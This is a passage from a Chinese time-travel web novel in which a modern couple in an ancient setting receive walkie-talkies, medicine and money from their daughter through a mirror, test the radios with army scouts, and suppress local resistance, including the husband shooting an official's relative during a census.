她刚才想到了卫生/巾,这里的妇女在生理期间使用的是一种叫月事布的东西。这东西通常是一个长布条,中间由两层布制成,折叠后上面一层布的两端各留有一个口。布条两头各有一条细长的绳子,用于将月事布系在身上。 月/事布正中间会有一个小口袋,里面填充草木灰或吸附性不错纸张等。 她刚来这里的时候,非常不习惯,后来自己改良了一下,也勉强接受了。 与女儿联系上后,她刚好怀了孕,也就把这茬忘到脑后了。 姜云枝应下了。谢云溪让念荟进来,把她带出去。 蒋新月进来了。 谢云溪教她摆好体位,蒋新月很配合,但整个人看起来怏怏的,躺在诊疗床,一动不动。 “袁夫人,逃出去的许雅安真的死了吗?” 谢云溪愣了愣,过了一会儿才明白蒋新月问的是谁。 她心里好笑。 女人堆里果然很难有秘密。不过,她把这件事情告诉关景钰,就存了让她传开的心思。 枫叶巷那边今天上午就有三个人回去了。她估计过几天那些女孩们的身体情况好些后,会有更多的人想回家。 她不知道她们出去后,能否找到家人,以及家人是否会接纳她们。但是她知道,一些流言蜚语一定会缠上她们。 她想让她们知道,有些事情并不像她们想象的那样。 “是真的。” 蒋新月蒙着眼睛的布罩很快湿了一圈,她轻轻哭了起来。 谢云溪问:“你跟她很要好吧? 蒋新月抽泣着点了点头,“雅安的兄长是在我家里启蒙的,我们小时候就认识了……” 谢云溪想起来了,蒋新月的父亲是个秀才,在家里开了启蒙私塾。 “我今天下午打听到,你父亲还在,你想回家看看吗?” 蒋新月愣了愣,眼泪更多了,一会儿后,她摇了摇头。 谢云溪没有劝。所谓一脉相承,许家能勒死亲生女儿许雅安,避免门楣受损,她的哥哥一定知情。但是事情还是发生了。蒋家的家主是个老学究,还是许雅安哥哥的启蒙老师,未必是个开明的人。 给蒋新月做完了B超,谢云溪同样嘱咐了几句,让念荟把蒋新月带走了。 袁博文这天回来的很晚,谢云溪发现他身上有血,连忙到处看了看。 袁博文摊着手,笑着说:“你不用找了,这些不是我身上的,我没有受伤。” “你也不想想,我都穿上防护衣了!还有谁能伤到我?” 谢云溪瞪了袁博文一眼:“你忘记了关正吗?” 袁博文收了笑容。他没有忘记关正,关正离开晋州的时候,身上穿着他给的防护衣,外套了自己甲胄。可即便是这样,他也没能活着回来。 “你放心,我会很小心的!”袁博文安抚谢云溪,“我身上这些血,都是在何家矿山那边沾上的。” “那边怎么样?何家,没有闹吧?”刚问完话,谢云溪就想起袁博文刚才身上的那些血。 如果何家没有闹,那血能是从哪里来的? 郴州如今的清点排查已经到尾声,城里的紧张气氛也比前几天好多了。 何家,果然不是省油的灯。 袁博文神态轻松,“我就怕他们不闹!” “今天,我去何家矿山那边,他们还想跟我拿乔!杀了几个人,他们就老实了!” 谢云溪见袁博文说得轻描淡写,皱了皱眉:“你别大意了!” “何家能在这种的情况下,还能屹立不倒,肯定有两把刷子!你千万不要以为你现在有人有qiang,就可以不把他们放眼里了!” 袁博文笑着,他从来都不以为有qiang有pao,就能在这个世界横着走。 “你放心,我不会乱来!何家矿山那边,我是故意把事情闹大的!就等着何家把他们老底露出来,这样就能连根拔起了!后面咱们跟北凉人打起来,也不用担心他们会使坏!” “现在,何家那班人心里明镜似的,绝对不会跟我们硬碰硬!我们有qiang有人,他们有什么?即便是有,那也在外面。现在,这郴州城里,我们说了算!” 谢云溪又瞪了袁博文一眼,没好气说:“你心里有数就好!你现在可不是一个人,淼淼一个人还在现代,我又大着肚子,你要是出了事……” 她眼圈红了。 袁博文把谢云溪揽到怀里,一会后问:“今天跟淼淼联系了吗?” “还没有,这不正等着你吗?” “你昨天说,今天会让吴万乾算是军/需缺口,给淼淼那边一个准数,算出来了吗?” “已经算出来。”袁博文说着,拿出了一个账簿。 夫妻俩来到镜子跟前,一会后袁淼就出现在镜子里面了。她看到对面的袁博文和谢云溪,立马问道:“爸,你们算出军/需缺口了吗?这次需要买什么?” “算出来了……”袁博文看着账簿,把这次需要购买的物资报给袁淼。 袁淼记了下来。谢云溪说:“这次要买的东西不少,你算过账了吗?大概要多少钱?” 袁博文点头:“……有几样东西,以前我们没有买过,单价我不清楚,其他的,我粗略算算,大概是……” 他说了个数。谢云溪皱了皱眉,打/战确实烧钱,动不动就是上亿。 “淼淼手上应该没有那么多钱了吧?” “有!我前几天把手中的黄金兑了些。” 说到黄金,袁博文连忙问道:“你今天跟王振声联系了吗?” “联系了。我跟他说买卖黄金和金矿的事情。王所长一口就答应了,要买我们的黄金,我跟他约了后天的时间,地点就在这边别墅里。” “至于合作开采金矿的事情,王所长说,这件事情他不能做主,但他会尽快回复我们。” 袁博文和谢云溪相互看了一眼。 他们对和上面合作共同开采金矿这件事情怀有很大期许。属实是因为他们在这块完全是门外汉,太需要有人指导了。 第92章 第92章 对讲机 不过, 他们也理解。合作共同开采金矿这件事情不小,也许上面也是第一次遇到像他们这样的情况。慎重考虑,情理之中。 “对讲机到了吗?”袁博文又问。 “到了!”袁淼把身后的箱子露给袁博文和谢云溪。又拿起了手边的一个对讲机。 “爸爸, 这款对讲机有十六个频段……每个对讲机配备有两对电池。不过我又另外买了些电池, 一会儿一起传给你们。” 买到这批对讲机后, 袁淼看过说明书, 操作并不难,打开对讲机, 调好频段,相同频段的对讲机就可以通话了。 她相信父母看过说明书后,应该也会很快就能明白。 将对讲机传了过去,袁淼又把买到的药传给了谢云溪。 谢云溪看过后说:“你再买十盒米非司酮和十盒米索前列醇, 能不能明天上午就给我?” 袁淼并没有多想,有杨有为这位药品经销商帮忙, 购买药品对于她来说,并不是一件难事。而谢云溪这次需要的药品仅仅只有二十盒,也许小区门口的药店就能买到。 但是,她顺手在网络上搜索了一下后, 脸色顿时变了:“妈!你为什么要买这两种药?这……这是堕/胎类药物!” “我知道,我要的就是这两种药物。” 袁淼不明白。 母亲月份大了,药当然不是给她用的。她的身边丫鬟虽多,但都没有成家。父母的感情一向很好,不大可能会冒出一个意外。 谢云溪见袁淼依旧一副纠结的样子, 便把枫叶巷那边女孩们的事情告诉了她。 袁淼心里难受起来。乱世里人命如草芥, 那些女孩年纪最大的,也就跟她同岁,大多数都是十六七岁。这样的年纪, 在她身边,还在学校里读书。而在父母那边,却有人遭受了惨无人道的折磨。 “好,明天上午,大概十点左右,我应该拿到药了。” 袁博文已经把对讲机的说明书看了一遍,也按照说明书上的内容操作好了,在对讲机里喂喂了两声,另一个对讲机就传来了同样的声音。 袁淼看到了:“怎么样?能用吗?” “应该没问题,明天我拿到外面看看。” 袁淼放心了。 谢云溪问:“是后天交易黄金吧?” “是的!” “好,后天我会留在府衙里,等王所长他们到了之后,我再把东西传给你。” 四万多两黄金,不是一个小数,现在传过去并不安全。女儿那边只有她和一个住家保姆。虽然保镖离的不远,但是也只有两个人。 而他们身边,光袁博文的亲卫就有三四十人。 跟袁淼说完话后,谢云溪提议:“我们先把……东西收拾一下吧。” 袁博文知道她说的是金子,放下了对讲机,扶着谢云溪往后面去。 “刚才忘记给你们说了,我今天又抬了两箱放进去了。” 谢云溪不由得看了看袁博文。 难怪他今天心情这么好了。 两箱黄金,那就是四五亿rmb。 “跟先前的一样吗?”谢云溪问。 “有一箱是一样的,也是一万两,另外一箱我没有数,让人装了,就抬了过来。” 郴州打起来后,何家矿山几乎没有受到影响,在那里管事的人原本就是何家的,护卫也不少。他们对矿区的管控十分严苛,工人们连说话走路都受到了限制,对外面的事情一概不知。外面都换了天,他们依旧像牛马一样在那里面干活。 何家大概是想不声不响收回那边的矿山,郴州的北凉兵败后,何家护卫就做掉了在矿区监管的北凉主事,悄悄把人埋了,其他一切照旧。就等着风头过去,继续采矿。 却不料被他摘了桃子。 他带着人手围住矿山后,何家那些护院还想蛮干,结果一梭子扫下去,那般人全傻了眼,杀了几个主事的后,剩下的全老实了。 他进去里面一看,在守卫森严的库房里面发现一整箱还没来得及刻字的黄金,另外还有些零散的。他一并让人收了,抬了回来。 “你身上那些血,是在库房那边弄上吧?” 袁博文笑了下:“对!在那儿遇到了几个硬茬子。” 谢云溪听他说的轻描淡写,心里却知道现场绝对不轻松。 自从收了威远镖局的几个人后,袁博文就跟着商远和商泽练了好些天,大小战也经历了不少,如今的他虽称不上身经百战,但绝对经验丰富。 他所说的硬茬子,应该是几个练家子。在有qiang在手的情况下,他都被溅了一身血,可想而知,有多凶险。 估计,如果不是他身上穿着防护衣,也许这次就要受伤了。 “以后还是小心些吧!天下之大,奇人异事不少,即便是有qiang,也不能小觑!” 袁博文默默点了点头。 到了地方,袁博文让谷雨守在门口,扶着谢云溪进去。 谢云溪进去后,暗暗吃惊。郴州城这一番清点排查下来,收获居然这么大!一间差不多百来平方的房子里面,几乎堆满了东西。 有的箱子并没有盖严,露出的东西在灯火映照下光彩夺目。 袁博文放下了烛台。开了两个箱子。 “你过来看看,就是这两箱!” 饶是谢云溪心里有所预期,但在看到黄灿灿一片时,还是有片刻的失语。好一会后,她深吸了一口气。 “这箱就是一万两吗?”她指着摆放齐整的满满一箱黄金问道。 “对!那边还有三箱!” 袁博文说完,就开始干了,将另外一箱有些凌乱的黄金齐整摆好,与先前的三箱推到了一起。 第二天上午,谢云溪就收到袁淼传过来的药品。她带着关景钰等人来到了枫叶巷,将已经拆除了包装,碾成粉末状的甲硝唑等药品分发了下去。 这些抗菌消炎类西药与中医的清热解毒扶正祛邪类汤药并不相冲,联合应用,效果应该会更好。 沈悦兰的情况也比昨天好些了。 在给姜云枝和蒋新月用药之前,谢云溪跟宋婆婆说了这件事情。 宋婆婆吓了一跳:“夫人,这事儿太过凶险,她们想清楚了吗?” “我问过她们了。” 宋婆婆叹了口气:“造孽呀!” 她也知道女孩们肚子里的东西留不得,可这件事情的凶险,她是见过的。一包药下去了,肚子疼得满地打滚,血水一盆接着一盆,孩子是打下来了,但大人也没命了。 谢云溪不知道宋婆婆想了这么多,她知道药物/流/产有风险,副作用也不少,但那些毕竟只是极少数。 “她们用过药后,麻烦老夫人多照看些,这几天给她们做些清淡易食的吃食,若是出现腹痛难忍或是大量出血等症状,还请务必及时告诉我。” 宋婆婆点了点头,又叹了口气,像是料到了不好了的结果,脸色凄凉。 谢云溪交待完后,让念荟把姜云枝和蒋新月带过来。 姜云枝和蒋新月进来了,谢云溪又问:“你们考虑清楚了吗?” 姜云枝和蒋新月都点了点头。 谢云溪接过念荟递过来的药:“你们需要服用的药一共是两种,这种明日早上开始吃,记住,得在用早食之前……” 她详细交待了用法,又让姜云枝和蒋新月复述了一遍,才把药给她们。 “这两天你们自己得留心,不要累到了,多卧床休息,多喝水,注意保暖和清洁……” 看到姜云枝和蒋新月懵懵懂懂,耐心听谢云溪交待,听完后又听话点头。宋婆婆心里百般不是滋味。 打/胎哪里是那么容易的事儿?那些药都是虎狼之药!喝下去后,且不说胎儿能不能打下来了,大人即便不死,也要去掉半条命!哪怕侥幸能活了下来,日后也难以落到好。 这些小娘子们年轻,经历的事少,可她见得多了。 但是袁夫人也没有错。她也是为了这些人好。她们肚子里的东西留不得!留下来大人和小孩一辈子都受罪。 宋婆婆心里弯弯拐拐想着这些,不过,她什么都没有说。 * 袁博文这天一大早就来到了斥候营。 斥候营的门口停着几辆摩托车,和一辆越野车,不远处的马厩里倒是有不少马。 斥候营的主将严云枫看到袁博文,脸上笑容马上出来了。 这几个月来,他的斥候营发生了翻天覆地的变化。往年里,他这儿最不受新兵欢迎了,想要进个把人,还得说尽好话,连哄带骗才能招到人。 进来的人,也几乎人人都想走。 上阵杀敌争功勋,一般没他们斥候营什么事儿,偏杂事琐事一大堆,天天都要跑断腿,累得要命,人活得比畜牲还不如。 袁博文来了之后,情况就发生了变化,一个望远镜,就让他们省了不少事。 现在又给他们借调来两辆越野车,配备十辆摩托车,使得斥候营的人当班的积极性暴涨,有的明明在轮休,还抢着过来,就是想过一把骑摩托车的瘾。 这摩托车那是真的好!以往他们从城门口到城外的鸡公岭,骑了马,至少得一个多时辰。而骑了摩托车,仅仅一柱香的功夫,就能跑个来回了,轻松愉快,还能带一个人。 越野车就更厉害了,速度丝毫不亚于摩托车,还能装人装物。 可惜,是借调的,越野车和开车的司机都是神器营的。 “大人!” 斥候营主将严云枫小跑到袁博文身边,行礼过后,看了看他身后的亲卫抬着的箱子,眼角眉梢都扬了起来。 袁大人又有好东西了! 袁博文问了问军务。严云枫回答了。 目前郴州周边还算太平,自从他们打下郴州后,陆续有流民从四面八方过来了。 虽然郴州周边也有□□/杀的事情发生,但都是小打小闹,没有形成规模。这些闹事的人见到斥候营的人,也都远远就跑开了。 至于北凉的动向,斥候营这边目前并没有发现有大批北凉兵/马靠近。 袁博文点了点头,斥候营现在有车有望远镜,对军情的掌控也更加精准了。 目前他们还没有发现北凉大军兵马靠近,那就是他们至少还有两三天的缓冲。 进到营帐里后,袁博文让亲卫把箱子抬到案几上。他拿出了一个对讲机,调试好后,递给了斥候营的主将严云枫。 严云枫接过了。他知道手上的东西一定是好东西,可惜颠来倒去也没看明白到底是个什么。 这玩意上面还有字,有的他认识,有的他自己都拿不准是认识还是不认识,连猜带蒙,越看越糊涂。 “大人,这是什么?”严云枫问。 “对讲机。”袁博文回答。 对讲机? 严云枫心里打鼓。 什么玩意? 没有听说过。 袁博文已经调试好了另一台对讲机,拿到嘴边后,他喂了两声。 严云枫正在上下左右看,突然手中的东西响了,他吓了一跳,差点把对讲机扔掉了。 过了一会儿,他才反应过来,刚才那里面出来的是袁博文的声音。 他心里更奇怪了。 不明白袁博文的声音怎么跑到了他手上的这个东西里面? 袁博文已经听到严云枫手中对讲机的声音——清晰明了。他心里满意,对严云枫说:“你说几句话!” “我?说,说什么话?” 严云枫惊魂没定,还没想明白为什么袁博文的声音会从他手中的这个东西里面出来。现在袁博文又来了这么一句,他有些懵。 袁博文现场教学,对着对讲机说:“我说,让你说几句话!” 严云枫这次明白了。 他学着袁博文,把对讲机拿起来放到嘴边,轻咳了一声,正准备说话,突然惊悚发现自己的声音居然从袁博文手中的对讲机里传出来了。 袁博文已经看到近距离的效果。他告诉严云枫:“这对讲机能实现远距离通话。一会儿,你骑摩托车,往鸡公岭方向出发,我坐越野车,我们看看远距离通话的效果怎么样?” 严云枫连忙点头。 远距离通话的效果? 难道是有了这玩意,袁大人和他就能隔着长远距离说话了? 严云枫心里火热起来。 如果真是这样,那他们斥候营就能轻松许多。打探到了消息后,再也不用拼命往回跑了! 严云枫把对讲机揣好了,骑上了摩托车,才发动,旁边的营帐里面就冲出来了好几个人。 这些都是今日不当值的斥候们,他们留在这里,就是等着有人骑摩托车出去办差,好带他们飙一飙,过过瘾。 “大人,您要去哪儿?能不能带我们一程?” 严云枫理解自己手下这些兵的心情,他也喜欢骑着摩托车驰骋在天地间的感觉。既然不是军务,只是看看对讲机远距离通话的效果,想来带个人遛一圈也无甚要紧。严云枫同意了。 “上来吧!” 斥候们争抢起来,很快就有个人把屁/股焊在摩托车的后座上,怎么拉扯都不肯下。 “坐好了!“严云枫嘱咐一声后,出发了。 袁博文也上了车,看着旁边站着的斥候们一脸失望,他摇下车窗:“我要去十里坡那边,你们想不想去?” 斥候们愣了片刻,有个反应快的,几步过去,开了车门上车,其他人这才反应过来了,争先抢后上车。 明明只能坐三个人的位置上很快就挤坐进来了四个人了。 袁博文笑了笑,发动了车。出了城后,朝着与鸡公岭相反的方向出发。估计两车的距离差不多有两公里时,他停了下来,拿起了对讲机。 “喂喂喂!严将军,你能听到我的声音吗?” 越野车后面坐着的几个人面面相觑,不知道袁博文在干什么? 片刻后,对讲机里面传出一阵嘈杂声。严云枫激动的声音传了出来。 “听到了!袁大人,我听到你的声音了!” 对讲机里的声音虽然有些嘈杂,但却清晰无比。 越野车后面坐着的几个斥候吓了一跳,都把目光投向袁博文手中的对讲机上。 袁博文对着对讲机说:“好,你继续往鸡公岭方向跑。注意听对讲机里面的声音。” 他跟亲卫连虎换了个位置,让连虎来开车,自己坐到副驾驶位置上,让连虎继续往前开。 后座的斥候们鸦雀无声,一会儿后,有个斥候忍不住了。 “袁大人,您刚才是在跟严将军说话吗?” “没错,你们严将军现在应该在往鸡公岭方向跑,我们在测试对讲机远距离通话的效果。” 几个斥候相互看了一眼。 什么叫远距离通话效果?多远?鸡公岭跟十里坡完全是相反的方向,摩托车和越野车这样跑,就这么一会儿,距离至少有四五里了! 居然还能听到严将军说话的声音! 他们目不转睛看着袁博文手中的对讲机。 “袁大人,您手上这个是什么?” 袁博文看了看手中的对讲机,笑着回答:“这是对讲机,能实现远距离通话。你们严将军手上现在也有一个,我们就靠这个在联系。” 他说完,又看了看时间,让连虎停了车。 “严将军,你现在到了哪里?” 对讲机里面很快就传来动静,严云枫的声音像是就在不远处:“我现在……在流云沟这边!已经能看到鸡公岭了!” 那就是距离有五六公里左右了! 袁博文很满意。 五公里的距离,熟练的骑手差不多需要半个小时! “好!你继续往前!” 越野车又行驶了一会后,袁博文又测试了一下对讲机的效果,严云枫的声音没有那么响亮了,但是还是能听清楚。 直到严云枫到了鸡公岭后,对讲机里的声音就变得断断续续了。 袁博文满意极了。他测试的最距离已经有三十公里了。急行军一天也就只有四五十公里,若是步兵,三十公里,足够他们走上一天了。 一天的时间,可以做的的事情太多了。 他看到对讲机的说明书标注通信的距离在0—50公里之间,能满足五十公里通信条件也就只有在海上。 他还以为对讲机在这里最多也就能覆盖一二十公里,没有会有三十多公里。 测试的效果很好,袁博文开车回去了。到的时候,严云枫已经回来了。即便是隔了这么长的时间,他脸上的激动依旧没有褪去。 袁博文说:“对讲机,我给你五十部,怎么使用,你自己安排,但是千万不能落到外面!” 严云枫的眼睛已经欢喜得眯成了一条缝:“大人放心!我斥候营的人一定不会让对讲机落到外面!” 目睹了整个测试过程的斥候们也都欣喜若狂。 袁博文招了招手:“你们都过来,我教你们怎么用。” 他已经把说明书收起来了,现代的简体字与这里繁体字有较大区别,现代通信理论对于这里的人来说,大概跟天书差不多。 多一事,不如少一事。反正操作也简单,调好频段就能用。 “你们看,这是开关……按下这里,就能通话了。这上面显示的是通信频段,只要频段一致,对讲机就能相互通话。” “袁大人,这是什么?”有个斥候指着天线问道。 袁博文顿了顿:“这是天线。” “这天线有什么用?” 袁博文咽了咽口水,正想着怎么繁化简,把天线解释一番。 严云枫把问话的斥候挤到一边了:“你怎么这么多问题?这天线既然在对讲机上面,那自然是有用!” 训完手下的人,转头严云枫就又堆上笑:“大人,对讲机需要加油吗?” 袁博文愣了一下,笑着说:“对讲机跟你们斥候营的摩托车和越野车不一样,它的动力来源是电池。” 他把对讲机背后的电池抠出来,告诉严云枫等人怎么安装。 先前被挤到一边的斥候又奋力挤了过来:“袁大人,这电池有什么作用?” 袁博文想了想:“你们可以把它当成能量棒,当这里面的能量用完后,这里会显示出来,你们换一个电池就行了。” “电池,我也给你们带过来了。” 第93章 第93章 何记 袁博文把东西指着严云枫看。 严云枫迫不及待拿了一个对讲机出来, 其他斥候们马上围到他旁边,七嘴八舌看他摆弄。 袁博文看着他们。学会对讲机的操作并不是一件难事,他也不怕有一天自己走了之后, 对讲机会落到某些居心叵测的人手上。这东西没有电池, 就跟一块砖头差不多。 电池可不是那么好弄出来的。 想当初, 他们来到这里时, 还带了两部手机。结果,那么多年过去了, 他们一个数学老师,一个医生,两个人一起,也没有研究出电池来。 这里土著就不要多想了。 而斥候营有了对讲机后, 会轻松许多,消息的传递也会便捷很多。 亲卫进来了:“大人, 巡防营陈三江有要事回禀!” 袁博文扬了扬手,示意让人进来。 陈三江来得有些匆忙,额头上都出了汗,一进来便道:“大人, 我们江将军在城东紫云巷清查排查时遇到了阻拦,您赶紧过去看看吧。” 袁博文拿了一个对讲机就出门了。一边走,一边问:“怎么回事?” 陈三江回道:“我也说不清楚,好像那儿住了一个了不得的大人物,不仅不配合咱们排查清点, 还说咱们扰民!要上京告我们。” 袁博文觉得好笑:“当真?他们真这么说?你们大人怎么应对的?” 这是哪儿来的二货?都什么年头了, 还搬出了这么一套? 上/京告/状? 他上得去吗?连北地都走不出去!北凉人在这儿的时候,一个个乖得跟鹌鹑蛋似,北凉人一跑, 这些人马上就充起大爷了! 陈三江苦着脸:“我们将军先是不理,让兄弟们按规矩办事,那家里突然冲出好些个护院!有个直接叫出了我们大人的名讳,问他是不是想造反?让他去把您请过去……” 袁博文哼了一声,坐上了越野车,陈三江愣了片刻,立马跟着上了车。 连虎发动了车,陈三江在车里面东看看西摸摸,好奇极了。 袁博文问:“你们大人让你过来叫人,还说了什么吗?” 陈三江想了想:“我们大人倒是没说什么,那上了年岁的老头旁边有个管事模样的人说,他家老爷是吏部侍郎钱……钱永辉钱大人的族兄!” 吏部侍郎,钱永辉。袁博文当然知道,他考上秀才后,认真研究过这里的官吏制度,大顺的官吏设置与唐朝差不多,也设有三省六部。这吏部就管着大顺文官们的考核任免升迁等。 若是以前,这吏部侍郎他还真会当回事儿,现在就算了。谁知道接下来会发生什么。 打输了不用说,再大的官都跟他没关系。 打赢了,就等着上面发落。他见招拆招,拆不了也要走人。 车很快就到了紫云巷,拐进去没走多远,就看到一家门口围着许多巡防营士兵,qiang和刀都拿了出来。 那家的门口也站着不少人,护院装束的家丁们也都拿着长棍/和大刀,保护着门口站着的几个人。 这几个人当中有个年长的神态倨傲,但闪躲的眼神透露了他的声厉色茬。 看到越野车过来,两帮对峙的人都看了过来,车停下来后,江虎连忙小跑过来拉开了车门。 袁博文从车里下来了。 江虎低声说:“大人,这家是吏部侍郎钱大人的族兄钱永康的府邸。巡防营按例清点排查,他们不愿配合!” 袁博文抬眼看去。钱府门口居中站着的老者抬了抬下巴。他旁边站着的一位中年男子高声道:“你就是晋州军中提携袁博文袁大人吧?” 袁博文凉凉笑了下:“你是谁?” 中年男子看了一圈周围,倨傲说:“我乃钱涵江,吏部侍郎钱永辉钱大人是我的三叔!这位是我父亲,也是钱大人嫡亲的兄长!” 袁博文点点头。他正儿八经上了文书的官职确实只是晋州军中提携,后来的大刀营主将,以及现在的晋州代管变成正管,都是晋州被围住之后的事情,都没有往上通报。 这钱涵江没有摆错谱,吏部侍郎的确管着一个小小提携的生死。 “是你在阻拦巡防营清点排查吧?”袁博文问道。 钱涵江愣了下:“你们晋州守军做好晋州城防事务就行,怎地跑到了郴州这里作威作福?还清点排查?这是你们的事儿吗?” 袁博文实在惊奇,忍不住上下把钱涵江看了一通:“北凉人在郴州的时候,你也是这么说话的吗?” 钱涵江的脸色变了:“放肆!” 他话音刚落,袁博文就拿出手枪,对准了钱涵江:“是你们放肆,还是我放肆?北凉人在这儿的时候,你们屁都不敢放!北凉人一跑,你们就来充大爷!敢情我们晋州守军拼死拼活,就是为了让你们耍威风?” “你!” “砰!” 钱涵江的声音刚出口,袁博文手中的枪就响了。 钱涵江的额头上赫然多了个血窟窿,他的眼睛依旧睁着,里面满是不敢相信,人却往后面倒了下去。 尖叫声喊声瞬间响起了。 钱涵江倒在地上,头部位置迅速漫出了一摊血。周围的人吓得四下散开。 钱府门口乱了。 袁博文举起手中的qiang,朝上放了几qiang,什么声音都没有了。 钱府门口的人,刚才喊的叫的瞬间鸦雀无声,都矮了半截。有的吓瘫了,有的捂着耳朵,缩成了一团,吓得瑟瑟发抖。 钱永康靠在门柱上,已经脸色发白,瑟瑟发抖,前面衣襟的下摆正迅速显出了一个湿漉漉的印迹。 袁博文缓缓看过去。钱府门口的家丁们纷纷放下了手中的刀和棍,目露惊恐看着他和他手中的枪。 袁博文高声喊道:“城防营清点排查是为了维护郴州的稳定,保护郴州全城百姓的安危!谁要是再敢阻扰——” 他指向地上的钱涵江:“他,就是下场!” 周围鸦雀无声。原本钱府门口闹起来后,许多人都过来看热闹了。他们当中绝大多数人都没有上过战场,也没见过晋州守军攻打郴州的场景,倒是见识过炮/弹的威力,一发/炮/弹落下,周围不管是人还是房子,都上了天,四分五裂,再坚固的建筑都能夷为平地。 至于qiang,他们大多数都只听说过。凶神恶煞的北凉人只一个照面就倒下了,比最厉害的弓/箭/手还要神奇。但到底怎么个神奇法,他们并没有亲眼见过。 巡防营清点排查时带了枪,他们知道,也害怕,都盯着那些qiang。但是,他们不知道qiang还有这么小的。握在手中,小小的一把,也没见到怎么使劲,只听得砰一声响,数米开外的一个人脑袋就这么多了个血窟窿! 被打死的还是吏部侍郎大人的亲侄子! 所有人都吓到了。 就连江虎也愣住了。 他没想到袁博文居然会开qiang!还打死了吏部侍郎的亲侄子! 这可是他们顶头上司的顶头上司! 江虎冒冷汗了,腿脚也有些发软。 袁博文说完话后,瞟了江虎一眼,扬了扬手。江虎一个激灵,回过神来。 袁大人连吏部侍郎的亲侄子都一qiang打死了,这是要严查肃清一切!有袁大人顶着,他还怕什么? 江虎径直过去了,他的心腹紧随其后,也涌进了钱府大院。 清点排查开始了。 钱府中所有人员必须到位,姓甚名谁,年冠几何,通通登记造册。 府里上下也被搜查了一遍。 但凡有阻扰和怠慢的,一律严责或抓拿。 袁博文并没有马上离开,江虎等人开始清点后,他也进去了。在正院主位上坐了下来,慢慢喝茶,看着巡防营的人做事。 他知道江虎有顾虑,不敢对这些朝廷大员的亲眷们太狠,担心日后被打击报复。 但是,他不怕。日后是个什么样子,谁也说不准。 他要的是,跟北凉打起来后,自己的后院安安静静,太太平平,让做什么就做什么。跟晋州一样给力。 清点排查到了尾声,江虎把账簿递给袁博文看。 “大人,这是钱府所有人员的名册。这是他们在城里的住所登记。” 袁博文翻了翻。 就一个吏部侍郎的哥哥家,统共不到十个主子,府里面男女下人竟然有两三百个。 家中固定资产,除了眼下的钱府大院,郴州城外还有两个庄子,数十倾地。 这居然是在北凉治下的情况。 说这钱府没有跟北凉人勾搭,傻子都不会相信。 袁博文有些难受了。同样是郴州的百姓,北凉人打进来后,有的人家全部被屠,有的即便活着,也在苦苦挣扎,可有的人,依旧活得很好。 他丢了账簿,冷冷说:“钱永康钱涵江等与北凉勾结,理当问罪!你跟府衙张大人说一声,你们一起尽早将这事彻查清楚!” 江虎愣了下后,应下了。 袁博文起身走了。江虎连忙跟上了他,帮着打开了车门。 袁博文坐上车后,把对讲机丢给了江虎。 江虎不明所以。 “这是对讲机,我已经给你调试好了,以后你要是有事情要报,就按下这个……对着它说话就行了。我能听到。” 袁博文说着,晃了晃自己手中对讲机。他打算给军中各营主将都配备一个对讲机,免得他们有事,急急忙忙打发到处找。 “哎!”江虎应下了,心里的忐忑稍稍平息了些。扒在车门上,陪着笑脸说:“大人,今日的事儿,是我考虑不周,我一听钱涵江报出吏部侍郎的名号,就有些怕了……” 袁博文哼了一声。今天他确实有些嫌弃江虎怂,但是也理解他。 吏部侍郎的名头,就跟现代的人事部副部长差不多,当官听到了,有几个不怂的? 不过,他跟他们不一样。 “我知道,吏部侍郎这等朝廷大员,咱们都惹不起。”袁博文对江虎说,“但是,眼前这一关才至关重要!过不去,不仅你我的性命不保,你我的家人也都活不成!咱们前面的努力,也全部白费了。” 江虎的脸色变了,默默点了点头。 “而且,这钱家,一定不干净!若是没有北凉人的另眼看待,他们不会活得这么好!一旦咱们跟北凉人打起来后,你能保证他们不会给北凉人通风报信吗?” 江虎背上的冷汗出来了。 “总而言之,咱们不能大意。” 江虎眼神沉静了下来:“大人放心,以后,这种事情不会再发生了。” 袁博文点了点头,“你这边的排查还有多少没完成?” “快了!最晚明日下午就能全部清点排查完!” 袁博文的心情好了一些。 郴州是个乱摊子,情况又复杂,能在三天左右全部清点排查完毕,江虎还是费了不少心思。 “你把这件事情忙完后,再看看城中有多少空宅?有多少并不是原家主?把数据统计出来后,报给我。” 江虎应下了,虽然他不明白袁博文为什么要统计这类信息,但知道一定是为了大家好。 袁博文拍了拍江虎的肩膀,走了。 江虎愣了愣站了一会儿,看了看手中的对讲机,不明白是个什么玩意。 但是,他知道,袁博文拿出来的一定是好东西。 他看了一会后,按照袁博文所教,打开了开关,按住了通话的按钮。 “奇怪,这东西到底是什么呢?”江虎喃喃说。 话音刚落,他就听见对讲机里面就传来了嘈杂声,袁博文的声音从里面出来。 “你在说什么?江将军,我没听清楚。” 江虎吓了一跳:“袁,袁,袁大人!” 袁博文在对讲机里面笑了下:“现在听清楚!你想说什么?” 江虎懵了。他想说什么,他也不知道。 “你没事吧?没事我挂了!我正在开车,你有事再说吧!” 对讲机里面袁博文的声音没有了。 江虎愣愣站着,好一会儿才回过神来,看着自己手中的对讲机,呵呵笑了起来,眼神也格外亮了。 袁博文不知道,他离开钱府没多久,就有人把钱府发生的事情告诉郴州富商何有为。 何有为惊得一下子从太师椅上站了起来。 “你说什么?钱涵江被杀了?” 回来通风报信的小厮气喘吁吁点头:“老爷,小的亲眼所见!” “谁干的?谁这么大胆!” 小厮咽了咽口水:“是晋州守将袁博文!”他想起刚才的一幕,忍不住打了一个寒噤。 何有为的脸色变了。这个名字如今在郴州城如日中天,有的人害怕,有的人崇敬,这人仿佛从天而降,以前听都没有听说过,突然之间响彻了全城,郴州城内所有人都在说他。 他的那些兵,还有他那些闻所未闻的军/械。 原本北凉治下的大家已经习惯了,虽然远不从前,但也过得去。 突然一天郴州城门被轰开了,天上像是落雨般飞进来许多东西,还没等人看清楚是什么,就将所有的东西都炸飞了,连郴州城墙都炸烂了,一个个奇形怪状的东西开了进来,上面长管里冒出了火花,射出来的东西将到处乱窜的北凉人打成了筛子。 再凶悍的北凉人也挡不住那些东西的扫射,一个照面就丢了性命。 所有人都慌了神,到了夜里才知道是晋州守军打进来了。 晋州,不过一座小城!居然这么久了,还没有被北凉人攻下!如今,居然被他们反攻拿下郴州! 这一切简直像是在做梦。 那几天,城内的人都感觉不真切。可郴州城内确实换了天地,连躲在密室的北凉人都被抓了出来。 他清醒过来后,赶紧让人把何家矿山上的那几个北凉人干掉了,想着悄不作声,矿山又变成了何家的。 谁知道昨日晋州守将袁博文居然上山了,围住了矿区,杀了他不少人,连他花费重金请到的高手也没能逃脱,被乱枪打死了。 那座矿山可是他何家最大的财库,当初送给北凉人,他的心都在滴血。 